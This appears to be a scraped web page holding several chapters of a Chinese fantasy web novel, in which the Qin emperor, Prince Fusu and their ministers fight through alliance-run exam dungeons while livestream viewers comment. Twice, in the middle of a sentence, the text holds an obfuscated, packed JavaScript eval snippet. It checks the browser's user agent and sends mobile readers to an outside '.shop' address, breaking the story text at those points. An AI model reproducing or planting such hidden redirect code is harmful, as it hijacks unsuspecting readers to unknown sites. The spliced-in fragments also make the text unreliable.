这回他们派了侦察出去摸排敌人位置又让狙击殿后。结果侦察一直在搜寻犄角旮旯谁也没碰见反倒是大部队先来到了敌人真正埋伏的区域。 韩信立刻提醒: “来了!” 其他四人里有三个瞬间站起来对着不远处的人就是一轮点射。对面顿时开枪反击双方二换二扶苏和蒙恬倒地。 蒙毅一直蹲在冰柜后头就是等着复活的见状立刻出手。两人倒下来也是倒在冰柜后非常方便他出手。 敌方试图快跑过来绕过冰柜去击杀肯定正藏在后面的医疗。秦政和敌方输出却在拼枪逼迫对方走位。 韩信抓住机会狙死了输出对面这才知道狙击居然也藏在冰柜后面。 复活后的扶苏立刻爬起来开始绕着货架地毯式搜索敌方侦察。两边不幸的在转角碰面。 都是早就做好干架准备的侦察又都拎着最轻便的匕首。二话不说就是拼刀。 冷兵器扶苏可不怕谁这东西他玩得比热武器好多了。所以没多久他就抓住机会刺伤了敌人靠着不断叠加的大小伤口生生磨没了敌方血条。 另一边秦政几人在寻找狙击。 狙击发现队友大量减员就没有再傻到贸然跳出来。不知道藏在了哪里需要慢慢寻摸。 就在这个时候一道冷枪射来从货架上的商品缝隙里穿过直奔蒙毅。 蒙毅阵亡大秦没法再复活。 好在同一时间扶苏击杀侦察的消息跳出。那就只剩一个狙击他们四个人合力还是不难将人找出的。 蒙恬和秦政一左一右绕过货架开始追击之前躲在货架另一边开枪的狙击手。 对方在这一片货架的最外围打完一枪就直接扎进了身后的散称零食区猫着腰路过一个又一个装满独立包装小零食的货柜尽快前往下一个适合埋伏的地方。 他以为秦人顶多绕开障碍物追击。 没想到秦政和蒙恬默契地一撑台子跳上去 秦政最后一次借力跳到半空飞快地向下举枪一击干掉了鬼鬼祟祟的敌方狙击。 两秒后他轻盈落地面色平静。 第 214 章 溺爱 扶苏的这次考核,正好赶在星盟知道他们抢了资源星后不久开始。 父子俩的行为无异于对星盟的挑衅。 星盟高层自觉自己已经十分退让,然而对面却变本加厉。到底是星际中最庞大的势力,自然不可能一直伏低做小。 兔子逼急了还咬人呢。 星盗团长委婉地提醒了两人一番。 秦政早有所料: “无妨。” 他们这么慢吞吞地先抢考场,不就是为了刺激星盟吗? 现在星盟摆在明面上的实力不过尔尔,不提前刺激出来,总不能等正式开战了再来。 之前还没从外面摇人的时候,父子俩这么高调,就是为了把火力集中在他们父子二人身上。 因为星盟要对付他们很难,要对付蓝星却很简单。 用地府空间的说法将他们这一批和华夏国割裂开,星盟才会最大限度地减少对华夏考生的针对。 华夏官方一直在呼吁国民不要继续进入考场,避免出现危险。大部分考生已经或主动或被动地退出了,几轮下来有些人已经意识到继续参加下去只会害死自己。 如今华夏考生所剩不多,秦人又大批量出现搞事情。星盟只会越发忽略华夏,将所有的注意力集中在秦人身上。 没办法,本来星盟就势弱,再分散注意力只会叫自己越发没有胜算。 所以当扶苏发现自己本次匹配到的同场考生,全都是秦人的时候,一点都不意外。 星盟的反击开始了。 那么距离星盟亮出底牌,也就不远了。 系统播报: 【本次考核内容是,百里挑一。一百名考生内部竞技,头名优胜者即可通关离开。】 言下之意,剩下的都得被淘汰。 李信被气笑了: “星盟是不是傻?” 真以为他们被困考场没办法自救,只能听它们的话自相残杀吗? 直播间的网友们听到考核内容已经炸了,弹幕上全是密密麻麻针对星盟的辱骂。 不过群臣倒是很淡定。 尤其是来自神界的那些,听完规则后不屑一顾。抬手就从空气里捉了个什么出来,直接捏碎。 播报声戛然而止: 【 以下是具体淘汰方——】 没了。 弹幕为之一静。 片刻后: 「666厉害了大佬们!」 「这波打脸我给满分,不怕你们骄傲」 「大家冷静点掐了这个并不代表他们就不用通关了,可能反而会导致情况恶化,毕竟规则没有听到。」 「不,我觉得掐了它代表着陛下在告诉我们,这小破考场根本不算什么,他们能掐喇叭也能直接把考场废了。」 「陛下表情都不带变的,应该是情况尽在掌握吧?」 「陛下一直都是这样」 「看不出来,或许太子能读懂陛下的微表情吧,我觉得都一样。」 太子殿下倒是笑吟吟的。 大家看看他,就觉得事情也没那么糟糕。陛下的表情看不透,太子的表情还是很明显的。 群臣:不,你们不懂他! 太子他天天笑,生气也笑不生气也笑,你们不要被他骗了。 隔着网线,网友们压根没有生出小动物的警觉。在场的臣子却都已经闭嘴缄默了,一时不肯出头。 果然,就听扶苏温声问道: “爱卿,你把喇叭掐了做什么?孤都听不到规则了。 掐喇叭的神庭臣子一顿。 他很想像当初在神界那样硬气地和太子殿下硬刚,比如上朝的时候对骂。 但是这位正版太子显然比同人太子更具有压迫力,臣子对上他那双含笑的眸子,不知道为什么就说不出口了。 感觉和这位对着干,下场可能就不是被丢出去给别的君上帮忙,而是被拖下去弄死。 臣子果断滑跪了: “臣自作主张,请殿下责罚。 扶苏还算满意: “下不为例。 而后扭头对父亲说道: “也不知是不是我的错觉,总觉得神庭来的这些臣子不太听话。如今看来,许是我误会了诸卿。 神庭众人:…… 当着所有人的面直接这么说,故意的吧? 虽然在神庭就见识过了自家太子阴阳怪气别人的本事,但出来之后他们才发现,自己以前真是怪好命的。 外头的太子更会阴阳怪气。 而且还不 怕跟你撕破脸。 秦政淡淡扫了那些人一眼: “是吗?那便叫他们反思一下。” 太子怎么会有错觉和误解呢一定是臣子的问题。 何况这些人本来就不安分。 李斯立刻出列: “陛下所言甚是群臣近期心思浮动臣也有所察觉。” 众人:……有你什么事? 弹幕:「……李斯原来这么狗腿的吗?他是一直这样还是去了地府为了赎罪才这样的?」 扶苏扭头看过来: “孤刚刚就想说了李相公怎么会在这里?你不是和神庭群臣错开来不在同一批进考场吗?” 李斯不得不提醒他们太子: “殿下臣与您是同一批的。” 言下之意这次轮到太子进考场那么他自然也到了进考场的时候。反倒是那群神庭的上一轮才进入过应该等两轮才轮到他们。 扶苏恍然: “好像确实如此所以诸位爱卿你们怎么进来了?” 神庭众人还没回答李信先跳出来了表示自己本来也该下下次才进的不知道为什么被拉了过来。 秦政颔首: “星盟出手干预了。” 扶苏这一轮进来的人不多没办法凑齐100人的场次。所以干脆把还没轮到的一起拉进来反正考核的时间间隔原本也是星盟说了算。 虽然有关神庭臣子的话题被带过去了但在场的众人心里清楚事情根本没过去。 他们太子最为记仇。 神庭中一人斟酌片刻还是站了出来表明立场。 他说道: “臣方才探查周围发现考场外被特殊装置干扰神识难以突破。” 只是“难以”不是“无法”说明问题不大。星盟那些科技手段确实可以对玄学力量造成限制但现在这个水平的限制效果还不明显。 星盟知道他们能抢走考场控制权所以干脆一不做二不休 而且这么多人齐聚一个考场就可以保住剩下的99个考场不被侵占了。 大家都想到了这一点。 随即就有人尝试探索这片空间。很快他们发现了这是个 有分考场的次空间,就和上次的荒岛差不多。 荒岛分出很多岛屿,一个岛屿是一个分考场。 这里的地形也差不多,被用高墙铁网划分出了一个个区域。 大环境像是那种遭到异兽入侵的位面,官方根据情况把居住区分出了三六九等。 不同区域之间用高墙阻隔,这样万一某个区沦陷了,里面的异兽无法蔓延到其他区。 至于一同被困在高墙外的幸存者,不重要,官方只想保证绝大多数人的存活。 现在,他们就在其中一区。 其他区也有聚在一起的百名考生,一眼扫去都是熟人。看来星盟把他们检测到的所有不正常华夏考生,都一并丢进了这个次空间。 高墙是拦不住他们的,所以近千人很快齐聚一堂,看起来浩浩荡荡。 千人在一个考场里,那保住的就不是99个考场,而是999个。星盟还挺聪明的,知道该怎么釜底抽薪。 扶苏正用神识试探空间外的阻隔。 也听了臣子的话,有些好奇“难以突破到底有多难。尝试完意识到臣子嘴里的“难以甚至还是给了星盟脸面的,其实压根不难。 估计是臣子考虑到自己身为神庭之人,神识定然比寻常修士厉害许多。所以忖度着其他同僚的情况,给了个比较保守的说法。 实际上这个水平的限制,合道期强者随随便便就能突破了。针对元婴来说才算有点难度,元婴以下就得被困住。 偏偏,他们这里没有一个实力水平低于大乘期的。 ——史菅除外。 史菅一听这什么破星盟居然想把他困在这里,而全场所有人都能靠着自己的本事挣脱桎梏,只有他不行,立刻感受到了针对。 上次的副本就已经很针对他了,可恶! 史菅往太子和陛下身后挪了几步。 扶苏回头看他。 史菅小声愤愤跟太子说: “殿下,它是不是故意羞辱臣? 不然为什么只有他一个被卡住了? 扶苏安抚道: “有孤在呢,还能叫你被欺负? 史菅放下心来: “多谢殿下。 弹幕听到他们讨论,说这个级别的限制根本 不足为虑,气氛这才重新活跃起来。 然后关注重点就偏了。 「这人是谁?还跟太子撒娇呢。」 「看站位,他和其他臣子都不同,身份绝对不一般」 「站在陛下斜后方的,宦官?」 「……有没有一种可能,人家是史官?」 「我记得他,之前的那次副本扮演天子身边的起居郎,当时的站位也是这样的。」 史菅已经颇有职业素养的掏出了他的纸笔,准备记录。 像他这样的老古董还是比较习惯写毛笔字,但是毛笔要蘸墨不太方便随时记录。以前他跟着君上边走边记时,身边还会有几个侍官帮忙拿东西,现在只有他自己。 好在他也不是当年的史官了,他拥有了神奇的毛笔。 这可是他在功德商城里头斥巨资购买的笔,永远不用蘸墨,而且书写起来异常流畅,墨水速干,写错了甚至还可擦。 搭配他同样斥巨资买的本子,完全可以做到一笔一本解决全部问题,君上再也不用担心外物影响他记录了呢! 扶苏听罢反问: “那你上次怎么还写错字了?” 说的是之前扶苏围观他扮演天子身边的起居郎时,看到史菅记录有错字却没改的事情。 史菅振振有词地表示: “我这宝贝是用来给陛下和您记载起居注的,那机器人算什么东西?凭什么用您二位的专属笔册?” 说完还用小眼神去瞟陛下,希望陛下对他的彩虹屁给出点反应。 秦政没搭理他: “先不着急离开,难得齐聚,正好商议一下之后的对策。” 他和扶苏远在外星系,一直没能和众人碰面详谈。虽然有其他联络手段,却远不如现在方便。 星盟这番操作反而方便了他们,不知道现在有没有气到吐血。 有父亲在,扶苏就没去管正事。 他伸手拿走了史菅的纸笔: “给孤玩一下。” 史菅乖巧奉上: “殿下,请。” 扶苏三两下在纸上勾勒出父亲的线稿,还算满意: “好多年不曾动笔了,幸好没有退步。” 史菅立刻吹捧: “殿下画技一绝! 大秦无人能比!” 弹幕里在疯狂截图。 太子亲自动手画的陛下,错过这个村就没这个店了。此时不截图,更待何时? 秦政听到身边有人嘀嘀咕咕,扭头看了过来。本想叫太子认真些,见到那线稿顿时不说什么了。 忍不住多看了两眼,才收回视线继续听臣下商议。 心里却在想,阿苏都多久没给他画新画了?自从有了地府光屏可以拍照,这小子就越来越懒。 可照片哪有儿子亲手所画珍贵呢。 扶苏往下翻了一页,又试了试写几个字,然后擦除。 擦除方法很简单,摁一下笔上的某个按钮,笔尖会从蘸了墨的黑色变成纯白。轻轻一抹,接触到的地方就变回未曾写字的模样了。 扶苏追问道: “墨的颜色可以改吗?” 史菅点头: “有几款是兼顾画笔功能的,不过不同色的价格不同。色越多价越贵,还有的带调色功能,可以调出任何想要的颜色。” 扶苏若有所思: “有多贵?孤看看。” 说着打开了功德商城。 虽然现在天道不让他们在残缺位面里买非技术类的东西了,但他可以先看好。到时候让别人帮忙代买,再给他送过来。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 扶苏都想好叫谁送了,就喊大桥松来送。小桥松在修真界当仙帝,估计暂时来不了。 让史菅花费重金购买的纸笔,到了太子这里根本不算什么。哪怕是最贵最好的,也能眼也不眨就买下来。 扶苏还奇怪呢: “爱卿你怎么会缺钱?” 史菅的记载传之后世,记录得那么详细,对于历史学界不知道有多么深远的意义。 按理来说,他的功德不会比别人少的,甚至可能远超许多秦臣。 史菅小声说: “殿下您是不知道,臣花钱有些没节制。臣把存款转给夫人了,叫夫人帮臣收着。” 所以史菅现在是个每月领零花钱的男人,零花钱月光。 为了买这套纸笔,他还找夫人预支了一整年的零花钱。到现在都没还完,所以他还要继续过大半年没有零花钱的悲惨日子。 扶苏明白了: “孤给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163380|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你转点奖金。” 史菅很是欣喜: “谢殿下赏赐!” 弹幕:「?」 为什么臣子自己花光了零花钱,还可以找太子哭穷啊?太子居然真的给他打钱了,这样的老板去哪里找? 扶苏把玩过瘾的纸笔还给史菅,史菅连忙开始做会议记录。 至于之前太子在起居注里画的画——虽然在上头画画不太庄重,但那可是太子的亲笔,他可不敢擦掉。 左右画的是陛下,是陛下就没什么关系了,起居注里怎么不能有陛下的肖像画呢? 另一边群臣已经讨论到怎么反攻星盟总部了。 有了星盗协助后,他们在星际的根基更稳,完全可以进行下一步。 他们本身对星盟了解不深,星盗补上了这个短板。而且星盗还拥有匹敌星盟的顶尖科技人才,这正是大秦最缺的。 李斯提议可以让他们和渡劫期修士合作,尽快研究出能够量产八品和九品法器丹药的办法。 华夏国的科技水平只能做到在下品丹药里头量产,像这种上品的就不行。星际顶尖水平应该达标了,就是如何实现量产还需要摸索一下。 倘若寻到了方法,还能拿来反哺修真界。秦盟和大秦仙国互助,共同进步。 秦政满意地点了点头: “此事便交由……” 正想习惯性说让李斯去办,忽然记起李斯不懂炼丹炼器这些科研方面的事情。于是话锋一转,点了相里墨、徐夫人等一批搞科研的臣子。 这群人甚至都不在千人行列里。 相里氏墨家还算清闲,叫过来不难。徐夫人最近则在仙国里钻研修真界的炼器术,钻研得如痴如醉。 当初徐夫人弃燕投秦,就是为了骗取科研经费,好叫他能够继续钻研如何打造神兵利器。 听说修真界的炼器术后,根本就坐不住,这些年一直在仙国里窝着,快乐得都不想回地府了。 蒙毅提醒了陛下一句: “徐夫人此番没来星际。” 他没提相里墨,因为墨家一向随叫随到,非常乖觉。 秦政并不放在心上,随口说道: “让他尽快赶来便是。” 陛下一句话,底下人跑断腿,好在秦人早就习惯了。 扶苏笑着凑过去和父亲小声说: “他怕是不太乐意过来。” 徐夫人是典型的尖端铸造大师。偏好是打造独一无二的神兵利器,量产高阶法器不在他的追求范围内。 当年要不是为了拿到更多经费搞自己的研究,他也不会抽空去给大秦琢磨改良冶铁技术。现在叫他为了这个跑来星际,对他来说和被迫加班没区别。 秦政淡淡地说: “他不敢有抱怨。” 仙国给他提供了那么多免费物资,随便他怎么折腾,只是出来加点班而已不算过分。 又不是只让他一个加班,不是还有墨家那么多人协助吗? 这次的商议甚至都没屏蔽直播。 星盟众人待在直播间里听他们商量,越听越是心惊。他们不太了解什么合道渡劫、八品九品的,但是听得出这是非常厉害的东西。 星盟高层立刻说: “不能再等了,准备动手。” 人都被聚集在同一处星球上,他们已经调动了大量武器,随时可以对这个星球施行打击。 虽说在这群人抵达星球之后不久,这个星球就被熟悉的能量团包裹了,看起来难以突破。 可是星盟觉得自己都拿出最强武器了,那能量护罩总不至于还毫发无损。 身处在星球内的人看不到,星球外已经密密麻麻地围满了各种战舰。一个舰队正齐齐凝聚高能光束,在指挥官一声令下后,同时按下发射按钮。 秦政抬眸看了一眼天空。 他看的不是天空,是隔着星海看向外头的大军。 随即冷漠地收回了视线: “来了。” 直播间不由疑惑: 「什么来了?」 下一秒,星球震动了一瞬。 直播镜头闪烁两秒,险些就要当场中断了。但扶苏忽然伸手,弹指射出几道能量包裹住它们,稳定了信号传输。 网友们有些心悸: 「我怎么有种不好的预感啊?!」 「我也……」 「好紧张,总觉得是不是有什么事情发生了?星球为什么会震动?遭受到攻击了吗?」 然而光束只是初初砸到防护罩时才引起了一瞬的震动,之后就毫无作用了。防护罩依然屹 立不倒,光束能量被分流。 就仿佛方才砸过来的不是什么恐怖的射线,而是单纯的绚丽光团。顺着防护罩外围蔓延到了整个星球,将它裹成了一个漂亮的蓝色星球。 扶苏抬头望天: “天空的蓝色变了一些,不过我还是更喜欢原本的色彩。” 大家齐齐看天,没有底线地附和: “殿下所言甚是,这颜色不如纯天然的好看。” 「我去,这反应,不会真的是什么星际攻击手段吧?星盟是不是玩不起啊,对星球都做了什么?」 「不重要,反正看样子是没什么效果的,现在压力给到星盟了。」 星盟指挥官汗流浃背了: “射线都破不开防御,恐怕其他的攻击效果也不会太好。” 这虽然不是最强的秘密武器,却也是摆在明面上的第一。原本预计的是至少能打开点缺口,叫他们能够看到一些希望。 结果这也太凄惨了,根本破不了防,他怀疑换秘密武器上也没什么用。 星盟高层冷声道: “我们的秘密武器是超S级的。” 星盟之前公布的最高等级是3S,但私底下的最高等级其实是5S级,差别相当于元婴巅峰和合道巅峰。 但私底下的数值,只是不对民众公开而已。这个消息实则很多势力都知道,还不格够作为星盟的终极武器。 所以,星盟一直在悄悄研究超S级别的秘密杀器。 星盟觉得,继续在5S上头加678有点掉价,显得S级不值钱,再加上突破5S之后确实产生了质变,就干脆将之称为超S级。 战舰重新进行调动。 新一轮攻击开始酝酿起来。 考场内的众人不受影响,继续商议收服各大文明的细节。 李信认为不需要太多手段: “直接打过去就好了。” 他们大秦一向如此,靠着武力强行占领。至于占领之后怎么让人心服口服,这些小问题君上会解决的啦。 其他将军们纷纷点头,表示赞同。 大秦的武德过于充沛了,看得各方压力极大。连神庭旧臣都有点受不了,毕竟他们不是跟着陛下打天下的,而是后续被神帝征服的。 属于“被 第 215 章 不好惹 自从扶苏在直播间里爆出平行世界的消息之后,热搜上就炸了。 刚开始,讨论还局限在秦人身上。 大家很好奇另一个位面的大秦是什么发展,为什么太子和李斯关系看起来不错。 也终于搞明白了,为何他们没听说过定西侯韩信,以及有些人的性格和史书记载发生偏移的原因。 但很快,话题就转了个向。 「既然有平行时空,那是不是平行时空里可以看到另一个我?」 「居然真的有平行时空存在,星盟那边有相关研究吗?没有?那星盟确实是够拉的。」 突然躺枪的星盟:…… 「既然平行时空都出现了,那地球飞升也很合理对不对?不行,光一个地球飞升太无聊了,我建议太阳系飞升,我们单独占领一个位面。」 「附议!我们自己造个仙界出来,不带星际玩!」 「太阳系不够,银河系一起带走吧,不然以后天上没有星星了,很寂寞的。」 「那还不如直接分隔空间呢,把周围这一片没有星际人居住的星系都划分出去,大家一起形成一个独立位面。」 「所以科技修真能做到吗?」 「不知道,但是可以努力一下,没有兔子做不到的事情!」 气氛突然燃了起来。 隔壁,另一个话题也被顶了起来: 「家人们,我最近把那天千人直播回放重新看了一遍,发现了一些盲点。这几个人,是不是长得一样啊?刚开始我还以为是兄弟,双胞胎什么的,搞半天他们就是同一个人。」 「直播间有名字可选的啊,切换视角的时候不就能发现了吗?双胞胎只是长得像又不可能共用一个名字。」 「主要都是不认识的,一千个人,名单那么长,大家根本懒得翻。」 「看我发现了谁?张仪!」 「谁?!(仰卧起坐)我张子怎么也在?!」 「所以队伍里那么多不认识的人,可能并不是因为他们史册上没留名,而是因为他们压根不是始皇一朝的臣子?其他秦君手底下的人也被拉来了?」 「我去翻了翻史书,记载不是很多,没翻到几个名字能对上的。」 「算了,这也不重要,我去看看张子的直 播回放。」 「这还有个商鞅呢」 「吴起是我认识的吴起吗?他不是给楚王干活的?」 「范蠡和文仲,这个时间差的有点远吧?」 「再远有贾南风远?」 「贾南风还好啦,王安石都有你敢信?王安石不是一千多年后的人吗?」 扶苏翻到这里的时候笑了一声: “未料想此界的南风和介甫名字没有改变,我见奉先文远他们都变了。” 吕大将军在这个位面不叫吕布,所以他很不幸地没有被认出来。不过大将军也不在乎,最近打星盟打得起劲。 吕布十分认同神庭旧臣们的意见,觉得他根本不用兵就能打得星盟嗷嗷直叫。所以带上张辽高顺几个就莽过去了,目前已经抢了十几颗星球。 吕布还天天给扶苏发消息。 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 他抱怨说神庭旧臣废物点心,远不如他手下的并州亲兵能打。希望太子能叫亲兵们过来,这样他就有兵带了。 扶苏没有答应。 给吕布几百亲兵,谁知道他会去搞出什么大新闻。 而且吕布要兵他给了,其他将士也来找他要怎么办?回头星际里的地府人比星际人还多,天道又要生气。 扶苏可太知道他们武将之间都爱攀比什么东西了。 隔天史书放了出来。 然后果不其然,网友们的关注重点又偏移了。 「我以为放出来的会是那种扫描的古籍照片,结果你给电子书?」 「都坐下,基本操作罢了,毕竟是个有朋友圈的地府。」 「老实说,地府现在是不是发展得比阳世快了?该不会跟星际似的吧?那我可能有点难以承受,活人还不如死人时髦(暴风哭泣)」 「合理,地府里的鬼能活万万年,活人拿什么比?」 「姐妹们我有一个想法。」 「说!」 「如果鬼能活那么久的话,而且地府里生活还不用担心生老病死这些,那他们为什么还要投胎呢? 不投胎的话,阳世还会有这么多人吗?我们这个位面华夏人口数量惊人,不会是因为我们这边之前没有地府,默认投胎吧?」 「想什么呢,地府又不是乌托邦,总有死不下去准备活一活的。科技 发展得好也不一定惠及所有鬼,我怀疑有的鬼日子很难过的。」 「鬼的阴寿也不一定那么长,我们见到的是千年老鬼,或许只是因为人家青史留名,所以能很多年不用投胎。」 「青史留名?你确定吗?」 「……虽然有一部分人我们不认识,但也不好说人就没留名,保不齐是人家位面的名人。」 「还是那句话,王安石都出来了,可见大秦吸纳了好多后来的人才,或许那些就是后头朝代的吧。」 「合理,历史发展不同,名人也会不一样。」 有人把话题拉回了上一个。 「上古没那么多人,魂魄就那些,根本不够现代社会投胎的数,所以我觉得人数暴涨和地府众鬼投不投胎没有关系。」 「你们为什么要真情实感地讨论这个?」 「这边建议直接问太子。」 「太子偶尔才登陆一次账号,不怎么回答问题。」 「据说他经常偷偷登录上来窥屏,只是不互动而已。」 扶苏:。 扶苏把聊天列表扒拉了一遍,也没扒拉出来是谁有可能泄密。他都在外星系了,臣子们不少也在外星系,根本没办法去华夏的网上留言。 扶苏还是特意捣鼓了一下地府光屏,才连上了蓝星网络的。不然他可看不到网上的风向,除非回蓝星。 要么就是臣子们之前在蓝星的时候说漏了嘴,他们嘴可真欠。 扶苏把软件关了。 他拿过文件帮父亲一起看,秦政头也不抬地问他怎么了,今天倒是很勤奋,可是网上没什么有趣的新鲜事。 扶苏便和父亲抱怨起来: “他们一个个的,都是漏斗,什么消息都能往外漏。” 秦政轻笑了一声: “不都是跟你学的?” 扶苏:? 他算是发现了,臣子有什么不好的坏习惯,所有人包括他阿父,第一反应都是甩锅给他。 扶苏反思了一下: “可能这就是给始皇帝当太子的宿命吧。” 秦政微微挑眉: “怎么说?” 扶苏:“继承背锅侠的属性。” 秦政:…… 虽然这次父子俩把臣子叫来,主要 是来帮忙的。但是在覆灭星盟之前,大部分臣子其实闲得抠脚,暂时还用不上他们出力。 所以这天,又有人待不住进本了。 自从被星盟强制打乱节奏拉进考场了一次后,这群人自己琢磨出了怎么加快考核频率的办法。 几天后的下一轮考核,他们就直接挤进去了。 甚至还研究出了组队的法子。 真就把星盟的考核当游戏副本刷,没事了进去玩一玩。 不过进本后,他们意外地发现遇到的外国考生和外星系考生都少了很多。通过地府光屏问了外头的人才知道,这是因为星盟吃瘪的消息传开了。 大家都知道星盟撑不了多久,那还给它留什么面子?破考核他们才不参加,有本事星盟来攻打他们星球啊! 星盟还真没空来打。 光是应付秦盟的攻击就焦头烂额,根本腾不出手。而他们越是腾不出手教训这些文明,文明们就越是嚣张。 已经有考核失败的文明开始反杀星盟使者了。 趁着星盟没空管,把他们送来的搅屎棍收拾掉。然后拿着从对方光脑里拷贝下来的资料,开始关起门来闷头发展科技。 ——感谢来自秦盟的馈赠。 像星盟这样联盟性质的大组织,平时看起来花团锦簇,一旦遇到危机就会瞬间四分五裂。 各大文明都以自己的利益为上,而不会损害自己来发展联盟。联盟能给他们好处的时候,自然愿意团结一致,给不了那就江湖再见。 秦政这头私底下收到不少大文明的示好,他们愿意改投秦盟,帮秦盟一起攻打星盟。 秦政并不意外: “天下熙熙皆为利来。 这几个文明都不满意星盟如今的利益分配,一直想更进一步。但星盟里占据大头的几个文明不肯退让,他们没有机会超越。 在这种前提条件下,投资来势汹汹的秦盟,就能在未来格局变化后得到比如今更多的利润。 到时候自己翻身做主,成为新联盟里话语权最重的文明,不再被其他文明处处压一头。 该怎么选完全不用纠结。 扶苏也很适应这种情况: “但是他们的投资是为了自己在联盟里掌握最高话语权。 而大秦肯定无法接受这样的条件。 秦政眉梢微扬: “星盟手下第一梯队的文明不会轻易放弃,让他们打去。” 大文明和大文明碰撞,最好两败俱伤。在秦盟站稳脚跟前,不给他们把秦盟把持住,沦为几个大文明手中傀儡的机会。 至于日后会发展成什么样,秦政其实并不太在意。 手下地盘多了之后,他现在更多的是享受打天下的过程。就像高玩不断攻克不同的游戏,登顶后便失去了兴趣。 除非哪天有人超越他,他才会再回去重新登一遍。 但目前为止还没出现过这种情况。 扶苏领会了父亲的意思后,出去挑拨各大文明之间的关系了。 专业外交家张仪被他提前从考场里叫了回来,然后带上一起去忽悠投靠过来的各大文明。 当时张仪还在副本里。 那是一个类似中世纪背景的副本,考生需要扮演被邀请的贵族,去参加国王的宴会。 原本应该有百名考生一起参加的,奈何各大文明都学精了,没再派人进考场送死。 甚至从蓝星华夏这边问到了中止考试的办法,然后愣是找到了芯片藏匿的位置。能用纳米级手术取出的就取,实在确定不了具体位置的,就狠到直接剜掉附近一大块肉。 不少文明的土著居民自愈力强悍,类似的伤根本不放在心上。还有一些拥有魔药等道具的,那就更不怕了。 这导致张仪进本后,发现被邀请的客人就他一个。 堂堂国王的宴会,只有一个贵族到场参加。他和国王一起坐在能容纳百人的长桌上时,彼此都很尴尬。 NPC国王不悦地质问: “其他人都没来参加吗?” 侍从抱歉地告知: “菲力公爵重病来不了,娜莎夫人最近出门旅游去了没有接到请帖,艾文儿伯爵刚刚去世还没有确定好继承人,听说几个儿女正在争夺家产……” 国王听了一堆稀奇古怪的理由,伸手让他打住。 听起来都很合理,如果不是扎堆出现的话。国王现在有种被愚弄的愤怒,他怀疑那些人是联合起来给他没脸,根本就是故意的。 于是全场唯一的客人张仪得到了国王的热情款待, 国王认为他是所有贵族里最忠诚的那一个。 张仪:这是一个误解。 但是算了,对他有好处,他就没解释。 可惜得到了国王的青睐并没有太大的作用,因为无限流副本有的时候并不以NPC的意志为转移。 原本百人团队的话,危险还不至于第一天就找上张仪。偏偏就剩他一个,那危险便不得不盯着张仪发生。 所以张仪面前的食物是被邪恶生物污染了的,不能吃。张仪住的房间遭到了半夜幽灵侵袭,睡不好。张仪收到的礼物被替换了,是诅咒之物。张仪…… 他一个人把本该分摊到所有考生身上的事件都经历了一遍。 一天后,张仪决定反击。 然后他就去求见了国王: “国王殿下,那些贵族如此不给您脸面,您难道还要纵容他们吗?” 国王问他有什么好主意没有。 那些人不给他脸面,他当然要反击。可是反击也是讲技巧的,不然就算反击了,旁人也会笑话他。 毕竟那些人明面上找了借口的。 张仪便用他的三寸不烂之舌,把国王忽悠了一通。 这群西方人的权谋手段太小儿科了,根本不够看的。虽然有时候也会玩一些阴谋,可是那些阴谋大多都很小家子气。 张仪出手实在是大材小用。 他劝说国王给生病的菲力公爵赏赐药物,以示国王对公爵的关心。既然是国王赏赐的药,公爵自然要好好吃完,不能浪费。 没病的人吃药可不是什么好事,何况他们还可以在药里动手脚。 大家都心知肚明菲力是装病,那他为了应付皇帝乖乖吃药,结果是药三分毒。他因为身体健康的时候吃了不该吃的药,反而引起了病症,这难道还能怪到国王头上? 国王一听,惊为天人: “亲爱的张,你真是太聪明了!” 张仪:…… 张仪稳住心神,继续出第二个主意。 这次是针对爱旅游的娜莎夫人,既然夫人这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163381|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱旅游,肯定喜欢风景更好的封地。现在的封地配不上她,不如给她换一换好了。 张仪借此问国王要到了地图,然后在地图上圈出了一个“景色优美”的地盘。 那 里确实有美景,唯一的问题就是偏僻又贫穷,美正是因为无人烟,没有人类活动痕迹的打扰。 国王再一次惊为天人: “哦!天呐!还能这样?! 张仪:…… 张仪继续给他出主意。 争夺家产的艾文儿伯爵家是解决起来最没有难度的,张仪眨眼间就能给他想出五种解决方案来。 比如学汉武帝搞推恩令,把地盘给所有儿女都分一分,然后把爵位往下削一削。 又比如强捧个实力最弱的上去,再放任其他几个和他打,坐看他们打得两败俱伤。 再比如一直挑拨几人内斗,不给任何一人有机会继位。让他们就这么持续内耗,打到没人能继位或者只剩个好拿捏的傀儡为止。 还比如…… 总之,解决方法多如牛毛,这些人收拾起来根本没有难度。 国王听得如痴如醉: “张,你真是我的肱股之臣! 赢得了国王的钦佩之后,张仪就开始往别的方向忽悠国王了。 什么自己学过东方的神秘法术,说这个王宫风水不好,容易闹出人命来,问国王宫里是不是经常死人和闹鬼。 国王已经被他忽悠得说什么听什么。 当即决定重新建造一个宫殿,并带着张仪先去别宫居住。至于原本的宫殿,当然是在张仪的建议下拆了。 张仪虽不知宫殿为什么会闹鬼,但他拥有国人朴素的价值观。 即——把鬼屋拆了一切就解决了。 事实证明,大部分时候这招确实相当好用。不仅可以破坏地缚的格局,还能挖出一些人为制造的小东西。 宫殿一拆,地窖里藏着的恶魔召唤阵、花园里埋着的尸骨、墙壁暗阁里放着的诅咒娃娃……就全都出来了。 国王惊呆了: 